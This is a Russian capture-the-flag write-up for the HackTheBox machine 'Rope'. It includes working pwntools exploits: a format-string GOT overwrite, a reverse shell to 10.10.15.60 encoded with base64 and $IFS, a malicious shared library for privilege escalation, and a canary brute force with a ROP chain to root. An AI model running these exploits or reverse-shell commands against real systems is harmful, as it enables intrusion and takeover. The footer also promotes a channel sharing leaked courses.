- PVSM.RU - https://www.pvsm.ru -

Продолжаю публикацию решений отправленных на дорешивание машин с площадки HackTheBox [1].
В данной статье собираем много много pwn, которые будем решать средствами pwntools. Думаю будет полезно читателям с любым уровнем осведомленности в данной теме. Поехали…
Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)
Данная машина имеет IP адрес 10.10.10.148, который я добавляю в /etc/hosts.
10.10.10.148 rope.htb
Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.148 --rate=500

Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.
nmap -A rope.htb -p22,9999

На хосте работают службы SSH и веб-сервер. Зайдем на веб, и нас встретит форма авторизации.

При просмотре сканировании директорий, получаем не идексированную директорию / (http://rope.htb:9999//).

И в директории /opt/www находим исполняемый файл — это и есть наш веб-сервер.

Скачаем его и посмотрим, какая есть защита с помощью checksec.

Таким образом, мы имеем 32-х битное приложение со всеми активированными защитами, а именно:
Благодаря тому, что мы можем читать файлы на сервере, мы можем прочитать карту процесса данного исполняемого файла. Это даст нам ответ на следующие вопросы:
Давайте сделаем это.
curl "http://rope.htb:9999//proc/self/maps" -H 'Range: bytes=0-100000'

Таким образом, мы имеем два адреса: 0x56558000 и f7ddc000. При этом мы получаем путь к используемой libc библиотеки, скачаем ее тоже. Теперь с учетом всего найденного сделаем шаблон эксплоита.
from pwn import *
import urllib
import base64
host = 'rope.htb'
port = 9999
context.arch = 'i386'
binary= ELF('./httpserver')
libc = ELF('./libc-2.27.so')
bin_base = 0x56558000
libc_base = 0xf7ddc000
А теперь откроем сам файл для анализа в удобном для вас дизассемблере (с декомпилятором). Я использую IDA с кучей плагинов, и перед тем как засесть за глубокий анализ, предпочитаю посмотреть все, что мне могу собрать проверенные плагины. Один из множества таких — LazyIDA [5]. И на запрос “scan format string vuln” получим табличку с потенциально уязвимыми функциями.

По опыту использования данного плагина, я сразу обратил внимание на вторую строку (на ее параметр формат). Переходим на место использования данной функции и декомпилируем ее.

И догадки подтверждены, строка просто передается в функцию printf. Давайте выясним, что это за строка. Перейдем на место вызова функции log_access.

Так нас интересует третий параметр, который был помечем IDA как file. И ответы на все вопросы мы получаем только лишь посмотрев перекрестные ссылки на данную переменную.

Таким образом, это указатель на строку — имя файла, который открывается для чтения. Так как данная переменная является результатом выполнения функции parse_request(), файл открывается для чтения, а вся программа представляет из себя веб-сервер, можно предположить, что это запрашиваемая на сервере страница.
curl http://127.0.0.1:9999/qwerty

Давайте проверим уязвимость форматной строки.
curl http://127.0.0.1:9999/$(python -c 'print("AAAA"+"%25p"*100)')

Отлично! Давайте определим смещение (сколько спецификаторов %p нужно отправить, чтобы в конце вывода получить 0x41414141 — AAAA).

Получаем 53. Проверим, что все верно.
curl http://127.0.0.1:9999/$(python -c 'print("AAAA"+"%25p"*53)')

Мы не можем получить локальный шелл, но можем выполнить команду, например кинуть реверс шелл:
bash -i >& /dev/tcp/10.10.15.60/4321 0>&1
Но чтобы избежать всяких неудобных символов, закодируем его в base64, тогда вызов шелла будет выглядеть так:
echo “YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS42MC80MzIxIDA+JjEK” | base64 -d | bash -i
И в итоге заменим все пробелы на конструкцию $IFS. Получим команду, которую нужно выполнить для для получения бэкконнекта.
echo$IFS"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS42MC80MzIxIDA+JjEK"|base64$IFS-d|bash$IFS-i
Давайте допишем это в код:
offset = 53
cmd = 'bash -i >& /dev/tcp/10.10.15.60/4321 0>&1'
shell = 'echo$IFS"{}"|base64$IFS-d|bash$IFS-i'.format(base64.b64encode(cmd))
Теперь вернемся к нашей форматной строке. Так как после printf() вызывается puts, мы можем перезаписать ее адрес в GOT на адрес функции system из libc. Благодаря pwntools это очень легко сделать. Допустим, получить относительный адрес функции puts можно с помощью binary.got[‘puts’], также легко и с функцией system: libc.symbols[‘system’]. Про форматные строки и GOT подробно я описывал в статьях про pwn, поэтому здесь просто собираем форматную строку с помошью pwntools:
writes = {(elf_base + binary.got['puts']): (libc_base + libc.symbols['system'])}
format_string = fmtstr_payload(offset, writes)
Собираем итоговую полезную нагрузку:
payload = shell + " /" + urllib.quote(format_string) + "nn"
Подключаемся и отправляем:
p = remote(host,port)
p.send(payload)
p.close()
Полный код выглядит так.

Выполним код и получим бэкконнект.


Проверим настойки sudo для выполнения команд без пароля.

И видим, что можно выполнить readlogs от имени пользователя r4j. Уязвимости в приложении отсутствуют, GTFOBins тоже отсутствуют. Давайте посмотрим используемые приложением библиотеки.

ls -l /lib/x86_64-linux-gnu/ | grep "liblog.so|libc.so.6"

То есть мы можем писать в данные файлы. Давайте напишем свою библиотеку.
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>
void printlog(){
setuid(0);
setgid(0);
system("/bin/sh");
}
Теперь компилируем ее.
gcc -c -Wall -Werror -fpic liblog.c
И собираем библиотеку.
Gcc -shared -o liblog.so liblog.o
После чего загружаем файл на хост, перезаписываем библиотеку и выполняем программу.

Таким образом, мы берем пользователя.
Для перечисления системы используем linpeas.

Так на локалхосте прослушивается 1337 порт.

Как можно заметить, наш пользователь входит в группу adm. Давайте глянем доступные для данной группы файлы.

Есть интересный файл. И это та программа, что прослушивает порт.

При этом в приложение работает от имени root.

Скачаем себе само приложение и используемую им библиотеку libc. И отметим, что на хосте активен ASLR.

Проверим какую защиту имеет приложение.

Все по максимуму. То есть, если мы найдем переполнение буфера, нам нужно будет брутить канарейку(значение, которое проверяется перед выходом из функции, чтобы проверить целостность буфера), а в качестве техники эксплуатации уязвимости будем использовать ROP (о котором я уже довольно подробно писал здесь [6]). Откроем программу в любом удобном для вас дизассемблере с декомпилятором (я использую IDA Pro). Декомпилируем основную функцию main.

Примером канарейки служит переменна v10, которая устанавливается в начале функции. Посмотрим, за что отвечает функция sub_1267.

Таким образом, здесь мы открываем порт для прослушивания. Можно переименовать ее в is_listen(); идем далее. Следующая пользовательская функция sub_14EE.

Перед отправкой присутствует еще одна пользовательская функция. Смотрим ее.

Таким образом, в данной функции принимается строка до 0x400 байт и записывается в буфер. В комментарии к переменной buf указан адрес относительно базы текущего кадра стека (rbp) — [rbp-40h], а переменная v3 (канарейка) имеет относительный адрес [rbp-8h], таким образом, для переполнения буфера, нам потребуется больше [rbp-8h] — [rbp-40h] = 0x40-8 = 56 байт.
Таким образом план следующий:
Как можно наблюдать ниже, при передаче 56 байт программа продолжает работать нормально, но передав 57 байт — получим исключение. Таким образом нарушена целостность буфера.

Давайте сделаем шаблон эксплоита. Так как нужно будет много перебирать и переподключаться, то отключим вывод сообщений pwntools (log_level).
#!/usr/bin/python3
from pwn import *
HOST = '127.0.0.1'
PORT = 1337
context(os = "linux", arch = "amd64", log_level='error')
pre_payload = "A" * 56
r = remote(HOST, PORT)
context.log_level='info'
r.interactive()
Как мы разобрались, после 56 байт буфера идет канарейка, а после нее в стеке расположены адреса RBP и RIP, которые также нужно перебрать. Давайте напишем функцию подбора 8 байт.
def qword_brute(pre_payload, item):
qword_ = b""
while len(qword_) < 8:
for b in range(256):
byte = bytes([b])
try:
r = remote(HOST, PORT)
print(f"{item} find: {(qword_ + byte).hex()}", end=u"u001b[1000D")
send_ = pre_payload + qword_ + byte
r.sendafter(b"admin:", send_)
if b"Done" not in r.recvall(timeout=5):
raise EOFError
r.close()
qword_ += byte
break
except EOFError as error:
r.close()
context.log_level='info'
log.success(f"{item} found: {hex(u64(qword_))}")
context.log_level='error'
return qword_
Таким образом мы можем составить pre_payload:
pre_payload = b"A" * 56
CANARY = qword_brute(pre_payload, "CANARY")
pre_payload += CANARY
RBP = qword_brute(pre_payload, "RBP")
pre_payload += RBP
RIP = qword_brute(pre_payload, "RIP")
Теперь давайте разберемся с PIE. Мы нашли RIP — это адрес возврата, куда мы возвращаемся из функции. Таким образом, мы можем вычесть из него адрес возврата в коде.

Таким образом смещение от базы равно 0x1562. Давайте укажем реальный адрес запущенного приложения.
base_binary = u64(RIP) - 0x1562
binary = ELF('./contact')
binary.address = base_binary
libc = ELF('./libc.so.6')
В приложении для для вывода строки приглашения используется стандартная функция write(), которая принимает дескриптор для вывода, буфер и его размер. Мы можем использовать данную функцию.
Для удобства работы давайте воспользуемся модулем ROP из pwntools. Вкратце, как и почему это работает представлено на изображении ниже.

Давайте получим утечку, это позволит нам узнать по какому адресу находится функция write в загруженной библиотеке libc.
rop_binary = ROP(binary)
rop_binary.write(0x4, binary.got['write'], 0x8)
send_leak = pre_payload + flat(rop_binary.build())
r = remote(HOST, PORT)
r.sendafter(b"admin:", send_leak)
leak = r.recvall().strip().ljust(8, b'x00')
print(f"Leak: {hex(u64(leak))}")
base_libc = leak - libc.symbols['write']
Давайте изменим базовый адрес библиотеки libc и найдем адрес строки /bin/sh.
libc.address = base_libc
shell_address = next(libc.search(b"/bin/shx00"))
Осталось собрать ROP, в котором будет перенаправление стандартных дескрипторов ввода/вывода (0,1,2) в дескриптор, зарегистрированный в программе (4). После чего произойдет вызов функции system, куда мы передадим адрес строки /bin/sh.
rop_libc = ROP(libc)
rop_libc.dup2(4, 0)
rop_libc.dup2(4, 1)
rop_libc.dup2(4, 2)
rop_libc.system(shell_address)
payload = pre_payload + flat(rop_libc.build())
r = remote(HOST, PORT)
r.sendafter(b"admin:", payload)
time.sleep(2)
r.sendline(b"id")
6. Эксплуатация
Полный код эксплоита.

Теперь на сервере запишем ключ ssh в файл /home/r4j/.ssh/authorizef_keys.

И пробросим порт (сделаем так, чтобы соединение с локального порта 1337 перенаправлялось по SSH на порт 1337 удаленного хоста).
ssh -L 1337:127.0.0.1:1337 -i id_rsa r4j@rope.htb
И запускаем эксплоит.

Мы работаем под рутом.
Вы можете присоединиться к нам в Telegram [2]. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
Автор: Ральф Фаилов
Источник [7]
Сайт-источник PVSM.RU: https://www.pvsm.ru
Путь до страницы источника: https://www.pvsm.ru/python/353308
Ссылки в тексте:
[1] HackTheBox: https://www.hackthebox.eu
[2] канал в Telegram: https://t.me/RalfHackerChannel
[3] группу для обсуждения любых вопросов: https://t.me/RalfHackerPublicChat
[4] рассмотрю лично и отвечу всем: https://t.me/hackerralf8
[5] LazyIDA: https://github.com/L4ys/LazyIDA
[6] здесь: https://habr.com/ru/post/479184/
[7] Источник: https://habr.com/ru/post/503414/?utm_source=habrahabr&utm_medium=rss&utm_campaign=503414
Нажмите здесь для печати.